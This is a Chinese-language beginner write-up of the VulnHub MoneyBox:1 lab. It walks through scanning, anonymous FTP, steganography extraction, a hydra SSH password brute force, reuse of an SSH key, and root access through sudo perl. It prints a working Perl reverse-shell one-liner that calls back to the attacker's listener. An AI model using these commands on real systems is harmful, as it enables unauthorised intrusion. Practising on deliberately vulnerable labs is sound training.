【新手向】VulnHub靶场MONEYBOX:1 | 详细解析

本文涉及的产品
全局流量管理 GTM,标准版 1个月
公共DNS(含HTTPDNS解析),每月1000万次HTTP解析
云解析 DNS,旗舰版 1个月
简介: 这是一篇关于网络安全攻防的详细分析文章,主要讲述了新手如何通过VulnHub靶场中的MoneyBox:1来学习渗透测试的过程。文章首先介绍了环境配置,包括导入虚拟机和网络设置。接着,通过nmap工具扫描目标IP,发现了FTP服务和SSH服务。通过dirsearch工具爆破FTP服务,获取了用户名renu和密码987654321。使用该信息登录FTP,找到了一个提示性的图片,通过steghide工具发现了一个隐藏的数据文件,并通过SSH公钥验证登录

【新手向】VulnHub靶场MONEYBOX:1 | 详细解析

@TOC

@TOC

作为一名新手,首先要配置好环境,才能进行下一步的操作。

将下载的ova文件导入VirtualBox。VirtualBox下载地址:https://www.oracle.com/cn/virtualization/technologies/vm/downloads/virtualbox-downloads.html

b942ce5f716e43c9a83261e70d5dbe5c.png

选择你下载的ova文件,点击“下一步”。

选择存放文件的位置,点击完成。(在我的电脑上只有放在默认位置才有效)

4a912c85c6b6437294ab5bc8b42f1ad4.png 启动虚拟机。

可能会出现如下错误信息。

解决方法:在网络设置中,选择自己电脑的网卡,重新启动就可以了。

e8bc7bac4b254958a3e8c8a804897346.png

这里我使用桥接方式,VMware中的Kali虚拟机也使用桥接方式,使两台虚拟机处在同一网段就可以了。

2eddf7abfa944a07a24658668dab575f.png


@TOC

首先获取一下kali的网卡信息。

ifconfig

28ba2f63a4244e2a96b7caf871f45f63.png

目前没有任何有效信息,通过Kali中的nmap工具扫描该网段下的所有主机,扫描到了很多IP。

nmap 192.168.3.0/24

参数含义:

nmap:网络探索和安全扫描工具。

192.168.3.0/24:目标 IP 地址范围。这里的 /24 表示子网掩码为 255.255.255.0,这意味着 Nmap 将扫描从 192.168.3.1 192.168.3.254 的所有 IP 地址。

也可以通过arp扫描,获得目标靶机IP。

arp-scan -I eth0 -l

经过访问和验证后,确认目标靶场为192.168.3.27。探测到三个开放的端口,对端口做进一步的探测。

8d9236c128f04784b829e0dd756f869e.png

使用nmap对192.168.3.27做更详细的探测,发现(自上而下):1、21端口ftp服务允许匿名登录,还有一张trytofind.jpg图片;2、22端口ssh服务有一些key;3、80端口http服务存在一个网页Title:MoneyBox。

nmap -A 192.168.3.27

参数含义:

-AAggressive(激进)扫描模式。这是一个组合选项,包含了以下功能:

-sSTCP SYN 扫描)

-sUUDP 扫描)

-sTTCP connect() 扫描)

-sV(服务版本探测)

-sC(默认脚本扫描)

OS detection(操作系统检测)

或者

nmap -p21 -sC 172.16.95.137

nmap -p22 -sC 172.16.95.137

nmap -p80 -sC 172.16.95.137

参数含义:

-p: 指定要扫描的端口号或端口范围。

-sC: 执行默认的 NSE 脚本集合。

bb5ea1e8f11c4a34825a20825107c2bb.png


@TOC

既然可以匿名登录,尝试直接登录ftp服务,账户名和密码均为anonymous。

FTP的匿名登录一般有三种:  1、 用户名:anonymous 密码:Email或者为空  2、 用户名:FTP 密码:FTP或者为空  3、 用户名:USER 密码:pass

登录成功之后,使用ls命令看一下有什么东西,找到一张图片,使用get命令下载下来。

ftp 192.168.3.27

ls

get trytofind.jpg

exit

下载到的图片:

图片的出现让我想起了CTF中的隐写术,使用steghide工具查看图片的详细信息,提示需要密码。随便试几个密码,失败了,看来要从其他地方找密码。

steghide info trytofind.jpg

Steghide 是一个用于隐藏数据(如文本、图像、音频等)在其他文件(如图片、音频文件)中的工具。

8d8a91c253f643f38d78753ceb0ccf39.png

@TOC

直接通过浏览器访问IP,查看网站页面。提示:“这是一个非常简单的盒子,所以不要想太多”。

ccd8043ed09243d29fef39f6fc4e8f7a.png

查看网页源代码(直接按F12),没有什么有用的信息。进行敏感目录收集,使用dirsearch目录爆破工具探测目录。

安装命令

apt install dirsearch

dirsearch -u http://192.168.3.27/

作用:对指定的 URLhttp://192.168.3.27/)进行目录和文件枚举。

以下是一些可能的命令参数:

-u:指定要扫描的 URL

-e(可选):指定要搜索的文件扩展名列表,默认值为 .php,.asp,.aspx,.jsp,.jspx,.pl,.py,.html,.htm,.shtml,.sh,.cgi,.xml 等。

-f(可选):从文件中读取要搜索的单词列表。

-t(可选):指定线程数,默认为 10

-w(可选):指定单词列表文件。

发现一个新页面blogs,在浏览器中看一下。提示:我是 TOm-H4ck3r 我已经黑了这个盒子并通知了他们。但他们没有做任何安全配置 如果您需要下一步的提示......?

521c796a511e43b7b3fd37f0c1d895a7.png

查看网页源代码,发现下一步的提示。提示:<!--提示是另一个秘密目录是 S3cr3t-T3xt-->。

b4eda5872699403ba8a8f28a528f8b11.png

根据提示切换路径为http://192.168.3.27/S3cr3t-T3xt/新的提示:本页无内容.........

查看网页源代码,发现一个Key。(猜测为图片隐藏内容的密码)

367cf97885d64f2f860a20fa312f86ae.png

使用得到的密码,成功读取到一个data.txt文件。

2685246992bd409aabe75aa2851d86cc.png

使用steghide提取data.txt文件,查看得到新提示。

steghide extract -sf trytofind.jpg -p 3xtr4ctd4t4

命令参数解释如下:

extract: 指定要执行的操作为提取隐藏数据。

-sf: 指定源文件为 trytofind.jpg,这是一个包含隐藏数据的图像文件。

-p: 指定用于解密隐藏数据的密码。在这个例子中,密码为 3xtr4ctd4t4。

提示:你好...... renu(用户名)我告诉你一件重要的事情:你的密码太短了,所以请更改密码 不要小看它.......

f5db665bfe7c4c78abeabc1f57212ee1.png


@TOC

结合得到的用户名、弱口令提示和剩下的ssh服务,尝试使用hydra工具对ssh服务进行弱口令爆破。

hydra -l renu -P rockyou.txt 192.168.3.27 ssh


参数解释:

-l:指定用户名,本例中为 "renu"。

-P:指定包含密码的字典文件,本例中为 "rockyou.txt"。这是一个广泛使用的密码字典,包含了大量常见的密码。

192.168.3.27:目标 IP 地址。

ssh:指定要攻击的服务,本例中为 SSH(Secure Shell)服务。

得到renu账户的ssh密码为987654321,直接尝试ssh远程登陆。登录成功。

ssh renu@192.168.3.27

@TOC

ls命令看一下有什么文件,pwd命令看一下当前路径,尝试用sudo提权失败,在user1.txt文件中得到第一个flag。

ls

pwd

uname -a (显示系统详细信息)

uname -r (用于在 Unix 或类 Unix 系统中显示当前运行的内核版本。)

sudo su

cat user1.txt

接下来进行提权操作,分析一下历史命令,寻找辅助提权的信息。从历史命令中可以看出,renu用户对192.168.43.80的主机进行SSH公钥登陆的配置,登陆账户是lily;192.168.43.80上的lily用户有sudo的权限;而renu用户可以切换为到本机的lily用户。

history #history命令用于显示或保存用户的命令历史记录


ssh-keygen -t rsa

# 生成RSA类型的SSH密钥。

ssh-copy-id lily@192.168.43.80

# 将公钥复制到远程服务器上,以便进行无密码SSH登录。

chmod 400 id_rsa

# 更改id_rsa文件的权限为400,也就是只有文件所有者可以读取该文件。

ssh -i id_rsa lily@192.168.43.80

# 使用指定的密钥文件(id_rsa)通过SSH连接到远程服务器。

看到下图所示,renu用户进入home家目录,之后又进入lily用户目录,说明本机存在一个lily用户。

e2010b772cda48468c3539f3d3b71431.png

猜测ssh登录的账户lily为本机的lily用户,那么SSH公钥配置操作就是在本机上进行的,根据SSH公钥工作机制,如果renu用户进行了ssh-keygen -t rsa操作,会在renu的~/.ssh/中生成id_rsa和id_rsa.pub文件,如下。

同时,如果renu用户进行了ssh-copy-id lily@192.168.43.80操作,将会把刚才生成的id_rsa.pub拷贝到192.168.43.80主机上的lily账户~/.ssh/authorized_keys文件中。如果192.168.43.80上的lily用户就是本机的lily用户,那么lily用户下~/.ssh/authorized_keys文件中的公钥应该与renu生成的id_rsa.pub公钥一致。验 86e0dac2bc4646fa9f21d6fec76b6ad5.png 证一下。


完全一致,那么renu用户可以通过SSH公钥验证的方式登陆到本机的lily的账户上,并且lily用户具有sudo的权限。

尝试直接su到lily用户,但是需要密码,只能通过SSH公钥验证登录到lily用户。

a329e58f8565467ab664147977c5b0bc.png


@TOC

ssh -i id_rsa lily@192.168.3.27

-i 选项,用于指定私钥文件 id_rsa。

00e247dfda8840f4ad6a83dbb5894f4b.png

成功登录,ls命令看一下有什么文件,在user1.txt文件中得到第二个flag。

bda364649e854635959477a59b544dea.png

尝试su提升权限,但还是需要密码。再次查看history历史命令,发现lily用户编辑了sudoers,并且查找了一些具有suid权限的文件,执行了sudo -l 。

79783063ad9a47caa67724a955917f79.png

3316b002a0104b5ca93596fdda201704.png

使用sudo -l命令看一下当前用户可用的sudo权限,发现可以使用sudo权限的perl命令(不需要输入密码)。

sudo -l

# 查看当前用户可用的sudo权限

6f564fc3ff674935a359cefa46987c9a.png

既然可以使用perl命令,那么采用反弹shell的方法提升权限。


@TOC

首先,在kali上开启nc进行监听。

nc -lnvp 6666

# 使用 nc(Netcat)命令在本地主机上监听TCP端口6666的命令。


命令参数解释如下:

-l: 使Netcat进入监听模式,等待连接请求。

-n: 指定不进行DNS解析,使用IP地址而非主机名。

-v: 启用详细模式,显示更多的操作信息。

-p: 指定要监听的端口号,这里为6666。

然后,生成一段用于反弹shell的perl指令进行sudo执行。(!!!$ i=攻击机的IP,$p=攻击机监听的端口!!!)

sudo perl -e 'use Socket;$i="192.168.3.25";$p=6666;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

当执行此命令时,以下过程会发生:

1、使用 sudo 提升权限执行 Perl 命令。

2、在 Perl 中,定义了以下几个变量:

$i="192.168.3.25":目标 IP 地址。

$p=6666:目标端口号。

3、使用 Socket 模块创建一个 TCP 套接字(Socket),并连接到指定的 IP 地址和端口号。

4、如果连接成功,将标准输入(STDIN)、标准输出(STDOUT)和标准错误(STDERR)重定向到套接字,这样就可以通过该套接字发送和接收数据。

5、执行 /bin/sh -i,启动一个交互式的 Bash shell。这个 shell 的输入和输出都会通过先前建立的套接字进行传输。

最后成功拿到root权限,并在user3.txt文件中拿到第三个flag。

目录
相关文章
|
7月前
|
存储 XML PHP
DVWA靶场Medium难度部分解析
DVWA靶场Medium难度部分解析
76 1
|
1月前
|
监控 Java 应用服务中间件
高级java面试---spring.factories文件的解析源码API机制
【11月更文挑战第20天】Spring Boot是一个用于快速构建基于Spring框架的应用程序的开源框架。它通过自动配置、起步依赖和内嵌服务器等特性,极大地简化了Spring应用的开发和部署过程。本文将深入探讨Spring Boot的背景历史、业务场景、功能点以及底层原理,并通过Java代码手写模拟Spring Boot的启动过程,特别是spring.factories文件的解析源码API机制。
76 2
|
2月前
|
缓存 Java 程序员
Map - LinkedHashSet&Map源码解析
Map - LinkedHashSet&Map源码解析
79 0
|
2月前
|
算法 Java 容器
Map - HashSet & HashMap 源码解析
Map - HashSet & HashMap 源码解析
65 0
|
2月前
|
存储 Java C++
Collection-PriorityQueue源码解析
Collection-PriorityQueue源码解析
69 0
|
2月前
|
安全 Java 程序员
Collection-Stack&Queue源码解析
Collection-Stack&Queue源码解析
91 0
|
2天前
|
存储 设计模式 算法
【23种设计模式·全精解析 | 行为型模式篇】11种行为型模式的结构概述、案例实现、优缺点、扩展对比、使用场景、源码解析
行为型模式用于描述程序在运行时复杂的流程控制,即描述多个类或对象之间怎样相互协作共同完成单个对象都无法单独完成的任务,它涉及算法与对象间职责的分配。行为型模式分为类行为模式和对象行为模式,前者采用继承机制来在类间分派行为,后者采用组合或聚合在对象间分配行为。由于组合关系或聚合关系比继承关系耦合度低,满足“合成复用原则”,所以对象行为模式比类行为模式具有更大的灵活性。 行为型模式分为: • 模板方法模式 • 策略模式 • 命令模式 • 职责链模式 • 状态模式 • 观察者模式 • 中介者模式 • 迭代器模式 • 访问者模式 • 备忘录模式 • 解释器模式
【23种设计模式·全精解析 | 行为型模式篇】11种行为型模式的结构概述、案例实现、优缺点、扩展对比、使用场景、源码解析
|
2天前
|
设计模式 存储 安全
【23种设计模式·全精解析 | 创建型模式篇】5种创建型模式的结构概述、实现、优缺点、扩展、使用场景、源码解析
结构型模式描述如何将类或对象按某种布局组成更大的结构。它分为类结构型模式和对象结构型模式,前者采用继承机制来组织接口和类,后者釆用组合或聚合来组合对象。由于组合关系或聚合关系比继承关系耦合度低,满足“合成复用原则”,所以对象结构型模式比类结构型模式具有更大的灵活性。 结构型模式分为以下 7 种: • 代理模式 • 适配器模式 • 装饰者模式 • 桥接模式 • 外观模式 • 组合模式 • 享元模式
【23种设计模式·全精解析 | 创建型模式篇】5种创建型模式的结构概述、实现、优缺点、扩展、使用场景、源码解析
|
2天前
|
设计模式 存储 安全
【23种设计模式·全精解析 | 创建型模式篇】5种创建型模式的结构概述、实现、优缺点、扩展、使用场景、源码解析
创建型模式的主要关注点是“怎样创建对象?”,它的主要特点是"将对象的创建与使用分离”。这样可以降低系统的耦合度,使用者不需要关注对象的创建细节。创建型模式分为5种:单例模式、工厂方法模式抽象工厂式、原型模式、建造者模式。
【23种设计模式·全精解析 | 创建型模式篇】5种创建型模式的结构概述、实现、优缺点、扩展、使用场景、源码解析
|
25天前
|
缓存 监控 Java
Java线程池提交任务流程底层源码与源码解析
【11月更文挑战第30天】嘿,各位技术爱好者们,今天咱们来聊聊Java线程池提交任务的底层源码与源码解析。作为一个资深的Java开发者,我相信你一定对线程池并不陌生。线程池作为并发编程中的一大利器,其重要性不言而喻。今天,我将以对话的方式,带你一步步深入线程池的奥秘,从概述到功能点,再到背景和业务点,最后到底层原理和示例,让你对线程池有一个全新的认识。
53 12

推荐镜像

更多